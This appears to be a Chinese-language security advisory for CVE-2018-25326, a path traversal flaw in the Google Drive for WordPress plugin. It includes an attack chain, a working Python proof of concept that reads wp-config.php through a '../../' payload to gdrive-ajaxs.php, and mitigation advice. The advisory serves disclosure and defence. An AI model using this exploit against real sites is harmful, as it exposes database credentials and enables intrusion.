CVE-2018-25326 CVSS 7.5 高危

CVE-2018-25326 Google Drive for WordPress路径遍历漏洞

披露日期: 2026-05-17

来源: [email protected]

漏洞信息

漏洞编号

CVE-2018-25326

漏洞类型

路径遍历

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Google Drive for WordPress

漏洞概述

Google Drive for WordPress 2.2版本存在路径遍历漏洞。由于未正确过滤用户输入，未经身份验证的攻击者可以通过向 `gdrive-ajaxs.php` 发送特制的POST请求，在 `file_name` 参数中注入目录遍历序列（如 `../../`），从而读取服务器上的任意敏感文件，例如 `wp-config.php`。这可能导致敏感配置信息泄露，进而威胁服务器安全。

技术细节

该漏洞的根源在于Google Drive for WordPress插件的 `gdrive-ajaxs.php` 文件中对用户输入处理不当。当 `ajaxstype` 参数被设置为 `del_fl_bkp` 时，程序直接使用用户提交的 `file_name` 参数进行文件操作，且未对其进行安全验证或路径规范。攻击者无需任何权限即可利用此漏洞。通过构造包含 `../` 等目录遍历字符的 `file_name` 参数（例如 `../../wp-config.php`），攻击者可以欺骗服务器读取Web目录之外的文件。攻击者只需发送一个简单的POST请求即可触发漏洞。成功利用后，攻击者能够读取敏感文件内容，获取数据库凭证等关键信息，为进一步的攻击提供基础。

攻击链分析

STEP 1

侦察

攻击者识别出目标站点安装了Google Drive for WordPress插件。

STEP 2

漏洞利用

攻击者向 `gdrive-ajaxs.php` 发送POST请求，设置 `ajaxstype=del_fl_bkp` 并在 `file_name` 中注入 `../../wp-config.php`。

STEP 3

数据泄露

服务器端未过滤遍历字符，读取并返回 `wp-config.php` 的内容给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

def exploit(target_url):
    """
    PoC for CVE-2018-25326 Path Traversal in Google Drive for WordPress
    """
    target_endpoint = target_url + "/wp-content/plugins/google-drive-for-wordpress/gdrive-ajaxs.php"
    
    # Payload with directory traversal sequence to read wp-config.php
    data = {
        "ajaxstype": "del_fl_bkp",
        "file_name": "../../wp-config.php"
    }
    
    try:
        response = requests.post(target_endpoint, data=data)
        if response.status_code == 200:
            print("[+] Request successful. Check response for file content.")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    url = "http://example.com"
    exploit(url)

影响范围

Google Drive for WordPress 2.2

防御指南

临时缓解措施

建议立即检查并更新Google Drive for WordPress插件。如果无法立即更新，请暂时禁用该插件或删除 `gdrive-ajaxs.php` 文件以阻断攻击路径。同时，可在Web应用防火墙（WAF）中添加规则，拦截针对该文件的请求或包含目录遍历特征的输入。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表